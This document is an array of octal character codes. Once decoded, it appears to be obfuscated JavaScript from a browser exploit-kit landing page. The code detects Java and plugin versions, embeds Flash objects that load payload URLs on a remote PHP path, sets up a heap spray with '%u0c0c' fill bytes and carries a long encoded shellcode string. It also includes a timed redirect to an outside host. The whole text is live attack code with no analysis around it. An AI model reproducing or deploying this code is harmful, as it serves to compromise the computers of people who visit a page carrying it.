0115, 0157, 0142, 0152, 050, 0144, 056, 0151, 0156, 0163, 0145, 0162, 0164, 0110, 0124, 0115, 0114, 050, 042, 0157, 0142, 0152, 0145, 0143, 0164, 042, 054, 0133, 042, 0143, 0154, 0141, 0163, 0163, 0151, 0144, 042, 054, 0147, 056, 0143, 0154, 0141, 0163, 0163, 0111, 0104, 0135, 054, 0133, 042, 0163, 0162, 0143, 042, 054, 042, 042, 0135, 054, 042, 042, 054, 0147, 051, 051, 051, 056, 0107, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0163, 050, 051, 073, 0146, 0157, 0162, 050, 0155, 075, 060, 073, 0155, 074, 065, 073, 0155, 053, 053, 051, 0173, 0151, 0146, 050, 0143, 056, 0164, 0145, 0163, 0164, 050, 0146, 051, 046, 046, 050, 041, 0150, 0174, 0174, 0150, 074, 0122, 0145, 0147, 0105, 0170, 0160, 056, 044, 061, 051, 051, 0173, 0150, 075, 0122, 0145, 0147, 0105, 0170, 0160, 056, 044, 061, 0175, 0175, 0175, 0143, 0141, 0164, 0143, 0150, 050, 0151, 051, 0173, 0175, 0147, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 075, 0150, 077, 061, 072, 050, 0142, 077, 060, 072, 055, 061, 051, 0175, 0151, 0146, 050, 041, 0147, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 051, 0173, 0147, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 075, 0144, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 0150, 051, 0175, 0147, 056, 0111, 0116, 0123, 0124, 0101, 0114, 0114, 0105, 0104, 0133, 0153, 0135, 075, 0147, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 0175, 0175, 054, 0172, 0172, 072, 060, 0175, 0175, 073, 0160, 0144, 0160, 0144, 056, 0151, 0156, 0151, 0164, 0123, 0143, 0162, 0151, 0160, 0164, 050, 051, 073, 0160, 0144, 0160, 0144, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 050, 042, 056, 042, 051, 073, 0166, 0141, 0162, 040, 044, 044, 040, 075, 040, 0160, 0144, 0160, 0144, 073, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 040, 0170, 050, 0163, 051, 0173, 0144, 075, 0133, 0135, 073, 0146, 0157, 0162, 050, 0151, 075, 060, 073, 0151, 074, 0163, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0151, 053, 053, 051, 0173, 0153, 075, 050, 0163, 056, 0143, 0150, 0141, 0162, 0103, 0157, 0144, 0145, 0101, 0164, 050, 0151, 051, 051, 056, 0164, 0157, 0123, 0164, 0162, 0151, 0156, 0147, 050, 063, 063, 051, 073, 0144, 056, 0160, 0165, 0163, 0150, 050, 0153, 051, 073, 0175, 073, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0144, 056, 0152, 0157, 0151, 0156, 050, 042, 072, 042, 051, 073, 0175, 0145, 0156, 0144, 0137, 0162, 0145, 0144, 0151, 0162, 0145, 0143, 0164, 075, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0167, 0151, 0156, 0144, 0157, 0167, 056, 0154, 0157, 0143, 0141, 0164, 0151, 0157, 0156, 056, 0150, 0162, 0145, 0146, 075, 047, 0150, 0164, 0164, 0160, 072, 057, 057, 061, 071, 056, 0144, 0141, 0156, 0151, 0145, 0154, 0150, 0145, 0162, 0162, 056, 0156, 0145, 0164, 057, 0141, 0144, 0157, 0142, 0145, 057, 047, 073, 0175, 073, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 040, 0152, 061, 050, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0146, 0141, 0154, 0163, 0145, 073, 0175, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 040, 0152, 062, 050, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0146, 0141, 0154, 0163, 0145, 073, 0175, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 040, 0160, 061, 050, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0146, 0141, 0154, 0163, 0145, 073, 0175, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 040, 0160, 062, 050, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0146, 0141, 0154, 0163, 0145, 073, 0175, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 040, 0160, 063, 050, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0146, 0141, 0154, 0163, 0145, 073, 0175, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 040, 0146, 061, 050, 051, 0173, 0166, 0141, 0162, 040, 0157, 0123, 0160, 0141, 0156, 075, 0144, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 056, 0143, 0162, 0145, 0141, 0164, 0145, 0105, 0154, 0145, 0155, 0145, 0156, 0164, 050, 042, 0163, 0160, 0141, 0156, 042, 051, 073, 0144, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 056, 0142, 0157, 0144, 0171, 056, 0141, 0160, 0160, 0145, 0156, 0144, 0103, 0150, 0151, 0154, 0144, 050, 0157, 0123, 0160, 0141, 0156, 051, 073, 0166, 0141, 0162, 040, 0165, 0162, 0154, 040, 075, 040, 042, 057, 0162, 0145, 0141, 0144, 057, 0155, 0145, 0141, 0156, 0151, 0156, 0147, 0146, 0165, 0154, 055, 0151, 0156, 0166, 0145, 0156, 0164, 055, 0157, 0167, 0151, 0156, 0147, 056, 0160, 0150, 0160, 077, 0171, 0161, 0157, 075, 042, 053, 0170, 050, 042, 063, 0142, 066, 065, 0145, 042, 051, 053, 042, 046, 0171, 0151, 0153, 0172, 0166, 0143, 0160, 0145, 075, 042, 053, 0170, 050, 042, 0152, 0163, 0160, 0157, 0172, 0146, 042, 051, 053, 042, 046, 0154, 0167, 0164, 0152, 075, 062, 0167, 072, 061, 0157, 072, 061, 0155, 072, 062, 0166, 072, 061, 0147, 072, 061, 0150, 072, 061, 0153, 072, 062, 0166, 072, 062, 0167, 072, 063, 062, 046, 0151, 0156, 0146, 0157, 075, 060, 062, 0145, 066, 0142, 061, 065, 062, 065, 063, 065, 063, 0143, 0141, 0141, 070, 0141, 0144, 064, 0144, 0143, 0145, 0141, 0145, 063, 061, 063, 063, 0142, 066, 0142, 061, 063, 066, 0142, 067, 0142, 063, 063, 062, 065, 067, 065, 060, 0141, 070, 0142, 061, 063, 061, 065, 067, 0141, 0142, 065, 065, 063, 060, 063, 067, 063, 066, 0141, 0142, 0142, 065, 063, 067, 067, 0146, 067, 060, 071, 0143, 0144, 0146, 0144, 0144, 0145, 0146, 071, 0143, 071, 062, 061, 0143, 071, 0143, 0145, 0146, 0144, 0146, 071, 0143, 0145, 0146, 071, 062, 071, 0143, 0145, 0144, 067, 071, 070, 063, 060, 060, 067, 0146, 066, 063, 067, 0146, 070, 0143, 0146, 063, 061, 0146, 0143, 063, 0143, 0143, 0146, 0143, 067, 0141, 0141, 062, 071, 070, 066, 0144, 066, 067, 042, 073, 0157, 0123, 0160, 0141, 0156, 056, 0151, 0156, 0156, 0145, 0162, 0110, 0124, 0115, 0114, 075, 042, 074, 0157, 0142, 0152, 0145, 0143, 0164, 040, 0143, 0154, 0141, 0163, 0163, 0151, 0144, 075, 047, 0143, 0154, 0163, 0151, 0144, 072, 0104, 062, 067, 0103, 0104, 0102, 066, 0105, 055, 0101, 0105, 066, 0104, 055, 061, 061, 0143, 0146, 055, 071, 066, 0102, 070, 055, 064, 064, 064, 065, 065, 063, 065, 064, 060, 060, 060, 060, 047, 040, 0151, 0144, 075, 047, 0141, 0163, 0144, 047, 040, 0167, 0151, 0144, 0164, 0150, 075, 047, 066, 060, 060, 047, 040, 0150, 0145, 0151, 0147, 0150, 0164, 075, 047, 064, 060, 060, 047, 040, 0143, 0157, 0144, 0145, 0142, 0141, 0163, 0145, 075, 047, 0150, 0164, 0164, 0160, 072, 057, 057, 0144, 0157, 0167, 0156, 0154, 0157, 0141, 0144, 056, 0155, 0141, 0143, 0162, 0157, 0155, 0145, 0144, 0151, 0141, 056, 0143, 0157, 0155, 057, 0160, 0165, 0142, 057, 0163, 0150, 0157, 0143, 0153, 0167, 0141, 0166, 0145, 057, 0143, 0141, 0142, 0163, 057, 0146, 0154, 0141, 0163, 0150, 057, 0163, 0167, 0146, 0154, 0141, 0163, 0150, 056, 0143, 0141, 0142, 047, 076, 074, 0160, 0141, 0162, 0141, 0155, 040, 0156, 0141, 0155, 0145, 075, 047, 0155, 0157, 0166, 0151, 0145, 047, 040, 0166, 0141, 0154, 0165, 0145, 075, 047, 042, 053, 0165, 0162, 0154, 053, 042, 047, 040, 057, 076, 074, 0145, 0155, 0142, 0145, 0144, 040, 0163, 0162, 0143, 075, 047, 042, 053, 0165, 0162, 0154, 053, 042, 047, 040, 0156, 0141, 0155, 0145, 075, 047, 0141, 0163, 0144, 047, 040, 0141, 0154, 0151, 0147, 0156, 075, 047, 0155, 0151, 0144, 0144, 0154, 0145, 047, 040, 0141, 0154, 0154, 0157, 0167, 0116, 0145, 0164, 0167, 0157, 0162, 0153, 0151, 0156, 0147, 075, 047, 0141, 0154, 0154, 047, 040, 0164, 0171, 0160, 0145, 075, 047, 0141, 0160, 0160, 0154, 0151, 0143, 0141, 0164, 0151, 0157, 0156, 057, 0170, 055, 0163, 0150, 0157, 0143, 0153, 0167, 0141, 0166, 0145, 055, 0146, 0154, 0141, 0163, 0150, 047, 040, 0160, 0154, 0165, 0147, 0151, 0156, 0163, 0160, 0141, 0147, 0145, 075, 047, 0150, 0164, 0164, 0160, 072, 057, 057, 0167, 0167, 0167, 056, 0155, 0141, 0143, 0162, 0157, 0155, 0145, 0144, 0151, 0141, 056, 0143, 0157, 0155, 057, 0147, 0157, 057, 0147, 0145, 0164, 0146, 0154, 0141, 0163, 0150, 0160, 0154, 0141, 0171, 0145, 0162, 047, 076, 074, 057, 0145, 0155, 0142, 0145, 0144, 076, 074, 057, 0157, 0142, 0152, 0145, 0143, 0164, 076, 042, 073, 0175, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 040, 0147, 0145, 0164, 0103, 0116, 050, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 042, 057, 0162, 0145, 0141, 0144, 057, 0155, 0145, 0141, 0156, 0151, 0156, 0147, 0146, 0165, 0154, 055, 0151, 0156, 0166, 0145, 0156, 0164, 055, 0157, 0167, 0151, 0156, 0147, 056, 0160, 0150, 0160, 077, 0163, 0167, 0143, 0147, 0165, 0147, 0145, 075, 042, 053, 0170, 050, 042, 063, 0142, 066, 065, 0145, 042, 051, 053, 042, 046, 0144, 0144, 0166, 0152, 0156, 075, 042, 053, 0170, 050, 042, 0151, 0163, 0152, 0142, 0167, 042, 051, 053, 042, 046, 0172, 0161, 0163, 0172, 0153, 0166, 0147, 075, 062, 0167, 072, 061, 0157, 072, 061, 0155, 072, 062, 0166, 072, 061, 0147, 072, 061, 0150, 072, 061, 0153, 072, 062, 0166, 072, 062, 0167, 072, 063, 062, 046, 0167, 0160, 0144, 0143, 075, 0157, 0161, 0172, 0165, 042, 0175, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 040, 0147, 0145, 0164, 0102, 0154, 0157, 0143, 0153, 0123, 0151, 0172, 0145, 050, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 060, 062, 064, 0175, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 040, 0147, 0145, 0164, 0101, 0154, 0154, 0157, 0143, 0123, 0151, 0172, 0145, 050, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 060, 062, 064, 052, 061, 060, 062, 064, 0175, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 040, 0147, 0145, 0164, 0101, 0154, 0154, 0157, 0143, 0103, 0157, 0165, 0156, 0164, 050, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 063, 060, 060, 0175, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 040, 0147, 0145, 0164, 0106, 0151, 0154, 0154, 0102, 0171, 0164, 0145, 0163, 050, 051, 0173, 0166, 0141, 0162, 040, 0141, 075, 047, 045, 0165, 047, 053, 047, 060, 0143, 060, 0143, 047, 073, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0141, 053, 0141, 0175, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 040, 0147, 0145, 0164, 0123, 0150, 0145, 0154, 0154, 0103, 0157, 0144, 0145, 050, 051, 0173, 0166, 0141, 0162, 040, 0141, 075, 042, 070, 062, 070, 062, 041, 045, 065, 061, 061, 064, 041, 045, 066, 064, 0144, 065, 041, 045, 0142, 065, 0145, 060, 041, 045, 061, 065, 065, 061, 041, 045, 0145, 060, 071, 065, 041, 045, 071, 061, 063, 064, 041, 045, 060, 064, 065, 061, 041, 045, 0141, 061, 0145, 060, 041, 045, 062, 061, 0142, 061, 041, 045, 0141, 061, 0146, 065, 041, 045, 0145, 065, 062, 061, 041, 045, 062, 061, 0141, 061, 041, 045, 071, 061, 063, 064, 041, 045, 060, 064, 062, 061, 041, 045, 062, 061, 071, 061, 041, 045, 071, 061, 0146, 064, 041, 045, 0145, 065, 062, 061, 041, 045, 062, 061, 0141, 061, 041, 045, 071, 061, 065, 064, 041, 045, 067, 064, 062, 061, 041, 045, 062, 061, 071, 061, 041, 045, 0141, 061, 0146, 065, 041, 045, 0144, 064, 065, 061, 041, 045, 0145, 060, 0146, 064, 041, 045, 0142, 061, 0141, 061, 041, 045, 063, 064, 062, 061, 041, 045, 062, 061, 071, 061, 041, 045, 071, 061, 064, 064, 041, 045, 0146, 065, 062, 061, 041, 045, 062, 061, 0141, 061, 041, 045, 071, 061, 061, 064, 041, 045, 0145, 064, 065, 061, 041, 045, 067, 061, 0146, 065, 041, 045, 060, 064, 070, 065, 041, 045, 066, 060, 070, 065, 041, 045, 066, 064, 0146, 064, 041, 045, 0146, 065, 061, 064, 041, 045, 065, 060, 067, 064, 041, 045, 066, 064, 0143, 065, 041, 045, 0145, 065, 0144, 064, 041, 045, 061, 064, 066, 064, 041, 045, 064, 064, 065, 060, 041, 045, 0145, 064, 0144, 065, 041, 045, 066, 064, 0146, 064, 041, 045, 066, 064, 061, 064, 041, 045, 0144, 064, 071, 064, 041, 045, 067, 060, 065, 064, 041, 045, 071, 064, 0143, 064, 041, 045, 0141, 065, 0144, 064, 041, 045, 0143, 065, 067, 060, 041, 045, 066, 064, 0144, 064, 041, 045, 0141, 065, 066, 060, 041, 045, 0144, 064, 0141, 065, 041, 045, 064, 064, 060, 064, 041, 045, 061, 064, 0144, 064, 041, 045, 071, 064, 066, 064, 041, 045, 066, 060, 0143, 064, 041, 045, 071, 061, 061, 061, 041, 045, 067, 060, 067, 060, 041, 045, 070, 065, 062, 061, 041, 045, 0143, 065, 0143, 065, 041, 045, 070, 065, 060, 064, 041, 045, 062, 063, 067, 060, 041, 045, 061, 065, 0145, 061, 041, 045, 0145, 0145, 0145, 066, 041, 045, 063, 067, 063, 063, 041, 045, 062, 0145, 062, 0141, 041, 045, 065, 071, 0142, 061, 041, 045, 067, 064, 071, 062, 041, 045, 066, 062, 061, 0141, 041, 045, 066, 0144, 062, 0141, 041, 045, 064, 0143, 060, 0142, 041, 045, 066, 066, 066, 062, 041, 045, 067, 0144, 066, 0141, 041, 045, 066, 0144, 067, 0144, 041, 045, 060, 0143, 064, 0142, 041, 045, 0145, 067, 060, 062, 041, 045, 066, 0144, 067, 0144, 041, 045, 070, 062, 062, 064, 041, 045, 0143, 0145, 062, 064, 041, 045, 070, 062, 0144, 065, 041, 045, 070, 0141, 067, 061, 041, 045, 062, 0144, 0146, 066, 041, 045, 070, 062, 0144, 065, 041, 045, 070, 0141, 067, 061, 041, 045, 0142, 063, 0146, 066, 041, 045, 0141, 062, 063, 0143, 041, 045, 064, 062, 063, 0143, 041, 045, 0142, 0141, 0142, 0145, 041, 045, 0145, 067, 0143, 062, 041, 045, 0142, 067, 067, 0144, 041, 045, 063, 0143, 064, 062, 041, 045, 070, 062, 0142, 0141, 041, 045, 0143, 062, 062, 064, 041, 045, 067, 0144, 0145, 067, 041, 045, 070, 062, 0142, 067, 041, 045, 0145, 063, 062, 064, 041, 045, 070, 0145, 0144, 065, 041, 045, 0143, 063, 0144, 0141, 041, 045, 067, 0144, 0145, 067, 041, 045, 062, 064, 070, 062, 041, 045, 0142, 067, 0146, 067, 041, 045, 062, 064, 070, 062, 041, 045, 062, 064, 070, 062, 041, 045, 071, 066, 071, 067, 041, 045, 065, 063, 0143, 062, 041, 045, 060, 0141, 0143, 066, 041, 045, 0143, 062, 070, 061, 041, 045, 062, 0141, 071, 0145, 041, 045, 070, 062, 061, 067, 041, 045, 065, 063, 061, 062, 041, 045, 0145, 0145, 0143, 066, 041, 045, 064, 064, 064, 064, 041, 045, 066, 060, 0143, 064, 041, 045, 065, 063, 0144, 062, 041, 045, 0146, 0145, 0143, 066, 041, 045, 0141, 064, 0143, 065, 041, 045, 0146, 065, 070, 065, 041, 045, 065, 063, 070, 062, 041, 045, 0146, 0145, 0143, 066, 041, 045, 061, 0145, 071, 067, 041, 045, 060, 0143, 0142, 061, 041, 045, 064, 062, 063, 0141, 041, 045, 067, 0144, 0145, 067, 041, 045, 070, 062, 070, 062, 041, 045, 060, 0144, 070, 062, 041, 045, 0142, 067, 060, 064, 041, 045, 0142, 065, 070, 060, 041, 045, 070, 060, 065, 060, 041, 045, 0143, 060, 060, 062, 041, 045, 0146, 0145, 0143, 066, 041, 045, 0142, 061, 0141, 061, 041, 045, 0145, 065, 0141, 065, 041, 045, 0143, 060, 0143, 062, 041, 045, 0146, 0145, 0143, 066, 041, 045, 0146, 064, 0142, 065, 041, 045, 0141, 065, 0144, 064, 041, 045, 0143, 062, 0143, 060, 041, 045, 064, 062, 0146, 0145, 041, 045, 064, 067, 0143, 060, 041, 045, 070, 062, 065, 0141, 041, 045, 071, 062, 070, 062, 041, 045, 064, 0143, 0143, 062, 041, 045, 0141, 065, 071, 0141, 041, 045, 0141, 062, 063, 0143, 041, 045, 067, 0144, 063, 0143, 041, 045, 067, 0144, 067, 0144, 041, 045, 060, 0143, 071, 064, 041, 045, 063, 0141, 060, 0143, 041, 045, 0143, 0145, 060, 062, 041, 045, 0145, 063, 0142, 0141, 041, 045, 0143, 067, 067, 0144, 041, 045, 064, 064, 065, 064, 041, 045, 0144, 065, 0141, 065, 041, 045, 070, 062, 060, 064, 041, 045, 066, 064, 070, 062, 041, 045, 060, 064, 067, 064, 041, 045, 067, 0144, 0142, 0143, 041, 045, 0142, 0145, 0144, 062, 041, 045, 070, 063, 0142, 0141, 041, 045, 063, 0141, 066, 067, 041, 045, 063, 0141, 064, 0143, 041, 045, 070, 067, 0144, 067, 041, 045, 070, 0145, 061, 063, 041, 045, 070, 067, 0142, 0141, 041, 045, 070, 062, 070, 062, 041, 045, 067, 0144, 070, 062, 041, 045, 070, 066, 060, 064, 041, 045, 070, 067, 062, 064, 041, 045, 070, 062, 060, 067, 041, 045, 070, 062, 070, 062, 041, 045, 060, 0143, 070, 062, 041, 045, 0141, 0143, 061, 0144, 041, 045, 067, 0144, 067, 0144, 041, 045, 060, 0142, 067, 0144, 041, 045, 061, 067, 060, 0143, 041, 045, 062, 064, 0144, 062, 041, 045, 063, 0141, 0146, 0144, 041, 045, 060, 064, 060, 062, 041, 045, 0142, 0144, 063, 0141, 041, 045, 0145, 0142, 063, 0143, 041, 045, 0143, 065, 0142, 062, 041, 045, 064, 062, 0142, 061, 041, 045, 070, 0141, 065, 065, 041, 045, 060, 064, 070, 060, 041, 045, 065, 070, 063, 0141, 041, 045, 063, 0143, 0142, 067, 041, 045, 061, 067, 0142, 0145, 041, 045, 063, 070, 066, 067, 041, 045, 0142, 062, 0144, 0145, 041, 045, 0143, 062, 063, 0141, 041, 045, 065, 0146, 063, 0141, 041, 045, 060, 0146, 0142, 062, 041, 045, 064, 062, 063, 0141, 041, 045, 0143, 067, 0143, 060, 041, 045, 064, 0143, 067, 0144, 041, 045, 065, 0141, 0145, 066, 041, 045, 064, 062, 063, 066, 041, 045, 0145, 064, 063, 0141, 041, 045, 0142, 062, 065, 0146, 041, 045, 066, 067, 0143, 060, 041, 045, 066, 067, 063, 0141, 041, 045, 0144, 065, 0145, 0143, 041, 045, 063, 061, 067, 063, 041, 045, 063, 0143, 071, 0144, 041, 045, 062, 0146, 070, 066, 041, 045, 065, 062, 0142, 062, 041, 045, 071, 0145, 063, 0145, 041, 045, 0143, 065, 060, 062, 041, 045, 060, 061, 0141, 0144, 041, 045, 066, 071, 070, 063, 041, 045, 063, 0146, 067, 062, 041, 045, 0144, 0145, 0142, 061, 041, 045, 065, 070, 0142, 062, 041, 045, 071, 066, 064, 0144, 041, 045, 061, 0145, 061, 066, 041, 045, 0144, 0144, 0142, 061, 041, 045, 070, 060, 0142, 062, 041, 045, 063, 0141, 0145, 065, 041, 045, 0144, 0144, 0145, 067, 041, 045, 060, 065, 0142, 062, 041, 045, 0143, 065, 0144, 061, 041, 045, 064, 061, 063, 0141, 041, 045, 063, 0141, 0144, 065, 041, 045, 071, 067, 0145, 067, 041, 045, 063, 0143, 064, 066, 041, 045, 071, 067, 061, 0143, 041, 045, 0143, 0143, 0144, 065, 041, 045, 0143, 060, 0144, 0141, 041, 045, 0146, 0141, 0143, 061, 041, 045, 0144, 065, 063, 0144, 041, 045, 061, 061, 0145, 062, 041, 045, 0142, 0145, 0145, 066, 041, 045, 070, 066, 070, 061, 041, 045, 060, 071, 063, 0141, 041, 045, 067, 0144, 067, 0144, 041, 045, 0144, 063, 070, 063, 041, 045, 071, 0141, 066, 0143, 041, 045, 0142, 061, 064, 060, 041, 045, 0142, 062, 0143, 065, 041, 045, 066, 067, 064, 061, 041, 045, 0145, 064, 063, 0141, 041, 045, 0142, 061, 063, 0146, 041, 045, 0145, 065, 060, 062, 041, 045, 0145, 067, 063, 0141, 041, 045, 070, 065, 064, 063, 041, 045, 064, 062, 063, 0141, 041, 045, 063, 0141, 070, 066, 041, 045, 070, 066, 070, 061, 041, 045, 0143, 064, 063, 0141, 041, 045, 0142, 061, 070, 0145, 041, 045, 061, 0143, 067, 067, 041, 045, 0144, 065, 0143, 061, 041, 045, 0144, 0141, 0143, 0143, 041, 045, 0146, 0146, 0146, 0146, 041, 045, 0142, 0145, 0146, 0146, 041, 045, 065, 060, 070, 0145, 041, 045, 0141, 0146, 0142, 0145, 041, 045, 060, 064, 062, 0145, 041, 045, 060, 063, 070, 062, 041, 045, 0145, 0146, 060, 070, 041, 045, 071, 0145, 062, 060, 041, 045, 066, 066, 061, 070, 041, 045, 061, 063, 071, 0143, 041, 045, 060, 061, 070, 065, 041, 045, 0143, 0146, 0142, 0145, 041, 045, 064, 0145, 0143, 0146, 041, 045, 066, 066, 063, 070, 041, 045, 061, 064, 061, 064, 041, 045, 061, 064, 061, 064, 041, 045, 042, 056, 0163, 0160, 0154, 0151, 0164, 050, 042, 042, 051, 056, 0162, 0145, 0166, 0145, 0162, 0163, 0145, 050, 051, 056, 0152, 0157, 0151, 0156, 050, 042, 042, 051, 073, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0141, 0133, 042, 0162, 0145, 0160, 0154, 0141, 0143, 0145, 042, 0135, 050, 057, 0134, 045, 041, 057, 0147, 054, 042, 045, 042, 053, 042, 0165, 042, 051, 0175, 073, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 040, 0146, 0146, 062, 050, 051, 0173, 0166, 0141, 0162, 040, 0157, 0123, 0160, 0141, 0156, 075, 0144, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 056, 0143, 0162, 0145, 0141, 0164, 0145, 0105, 0154, 0145, 0155, 0145, 0156, 0164, 050, 042, 0163, 0160, 0141, 0156, 042, 051, 073, 0166, 0141, 0162, 040, 0165, 0162, 0154, 075, 042, 057, 0162, 0145, 0141, 0144, 057, 0155, 0145, 0141, 0156, 0151, 0156, 0147, 0146, 0165, 0154, 055, 0151, 0156, 0166, 0145, 0156, 0164, 055, 0157, 0167, 0151, 0156, 0147, 056, 0160, 0150, 0160, 077, 0170, 0153, 0145, 0145, 0163, 0144, 0164, 0157, 075, 042, 053, 0170, 050, 042, 063, 0142, 066, 065, 0145, 042, 051, 053, 042, 046, 0170, 0164, 0165, 0167, 0144, 0165, 0154, 0150, 075, 042, 053, 0170, 050, 042, 0155, 0161, 0162, 0152, 042, 051, 053, 042, 046, 0172, 0152, 0150, 0171, 0152, 075, 062, 0167, 072, 061, 0157, 072, 061, 0155, 072, 062, 0166, 072, 061, 0147, 072, 061, 0150, 072, 061, 0153, 072, 062, 0166, 072, 062, 0167, 072, 063, 062, 046, 0162, 0150, 0142, 0150, 075, 0170, 0147, 0163, 0162, 042, 073, 0157, 0123, 0160, 0141, 0156, 056, 0151, 0156, 0156, 0145, 0162, 0110, 0124, 0115, 0114, 075, 042, 074, 0157, 0142, 0152, 0145, 0143, 0164, 040, 0143, 0154, 0141, 0163, 0163, 0151, 0144, 075, 047, 0143, 0154, 0163, 0151, 0144, 072, 0144, 062, 067, 0143, 0144, 0142, 066, 0145, 055, 0141, 0145, 066, 0144, 055, 061, 061, 0143, 0146, 055, 071, 066, 0142, 070, 055, 064, 064, 064, 065, 065, 063, 065, 064, 060, 060, 060, 060, 047, 040, 0167, 0151, 0144, 0164, 0150, 075, 061, 060, 040, 0150, 0145, 0151, 0147, 0150, 0164, 075, 061, 060, 040, 0151, 0144, 075, 047, 0163, 0167, 0146, 0137, 0151, 0144, 047, 076, 074, 0160, 0141, 0162, 0141, 0155, 040, 0156, 0141, 0155, 0145, 075, 047, 0155, 0157, 0166, 0151, 0145, 047, 040, 0166, 0141, 0154, 0165, 0145, 075, 047, 042, 053, 0165, 0162, 0154, 053, 042, 047, 040, 057, 076, 074, 0160, 0141, 0162, 0141, 0155, 040, 0156, 0141, 0155, 0145, 075, 047, 0141, 0154, 0154, 0157, 0167, 0123, 0143, 0162, 0151, 0160, 0164, 0101, 0143, 0143, 0145, 0163, 0163, 047, 040, 0166, 0141, 0154, 0165, 0145, 075, 047, 0141, 0154, 0167, 0141, 0171, 0163, 047, 040, 057, 076, 074, 0160, 0141, 0162, 0141, 0155, 040, 0156, 0141, 0155, 0145, 075, 047, 0120, 0154, 0141, 0171, 047, 040, 0166, 0141, 0154, 0165, 0145, 075, 047, 060, 047, 040, 057, 076, 074, 0145, 0155, 0142, 0145, 0144, 040, 0163, 0162, 0143, 075, 047, 042, 053, 0165, 0162, 0154, 053, 042, 047, 040, 0151, 0144, 075, 047, 0163, 0167, 0146, 0137, 0151, 0144, 047, 040, 0156, 0141, 0155, 0145, 075, 047, 0163, 0167, 0146, 0137, 0151, 0144, 047, 040, 0141, 0154, 0154, 0157, 0167, 0123, 0143, 0162, 0151, 0160, 0164, 0101, 0143, 0143, 0145, 0163, 0163, 075, 047, 0141, 0154, 0167, 0141, 0171, 0163, 047, 040, 0164, 0171, 0160, 0145, 075, 047, 0141, 0160, 0160, 0154, 0151, 0143, 0141, 0164, 0151, 0157, 0156, 057, 0170, 055, 0163, 0150, 0157, 0143, 0153, 0167, 0141, 0166, 0145, 055, 0146, 0154, 0141, 0163, 0150, 047, 040, 0167, 0151, 0144, 0164, 0150, 075, 047, 061, 060, 047, 040, 0150, 0145, 0151, 0147, 0150, 0164, 075, 047, 061, 060, 047, 076, 074, 057, 0145, 0155, 0142, 0145, 0144, 076, 074, 057, 0157, 0142, 0152, 0145, 0143, 0164, 076, 042, 073, 0144, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 056, 0142, 0157, 0144, 0171, 056, 0141, 0160, 0160, 0145, 0156, 0144, 0103, 0150, 0151, 0154, 0144, 050, 0157, 0123, 0160, 0141, 0156, 051, 073, 0175, 0144, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 056, 0167, 0162, 0151, 0164, 0145, 050, 047, 047, 051, 073, 0163, 0145, 0164, 0124, 0151, 0155, 0145, 0157, 0165, 0164, 050, 0145, 0156, 0144, 0137, 0162, 0145, 0144, 0151, 0162, 0145, 0143, 0164, 054, 066, 061, 060, 060, 060, 051, 073, 0166, 0141, 0162, 040, 0160, 0144, 0146, 0166, 0145, 0162, 075, 0133, 0135, 073, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 040, 0163, 0166, 0167, 0162, 0142, 0145, 0167, 066, 064, 063, 066, 0142, 050, 044, 051, 0173, 0166, 0141, 0162, 040, 0141, 0162, 040, 075, 040, 0133, 0135, 073, 0166, 0141, 0162, 040, 0152, 0141, 0166, 0141, 0170, 040, 075, 040, 050, 044, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 050, 042, 0112, 0141, 042, 053, 042, 0166, 0141, 042, 051, 053, 042, 056, 042, 051, 056, 0164, 0157, 0123, 0164, 0162, 0151, 0156, 0147, 050, 051, 0133, 042, 0163, 0160, 0154, 0151, 0164, 042, 0135, 050, 042, 056, 042, 051, 073, 0151, 0146, 040, 050, 044, 056, 0151, 0163, 0115, 0151, 0156, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 050, 042, 0112, 0141, 042, 053, 042, 0166, 0141, 042, 051, 076, 075, 060, 046, 046, 050, 050, 0152, 0141, 0166, 0141, 0170, 0133, 060, 0135, 075, 075, 061, 046, 046, 0152, 0141, 0166, 0141, 0170, 0133, 061, 0135, 075, 075, 067, 046, 046, 0152, 0141, 0166, 0141, 0170, 0133, 063, 0135, 074, 071, 051, 051, 051, 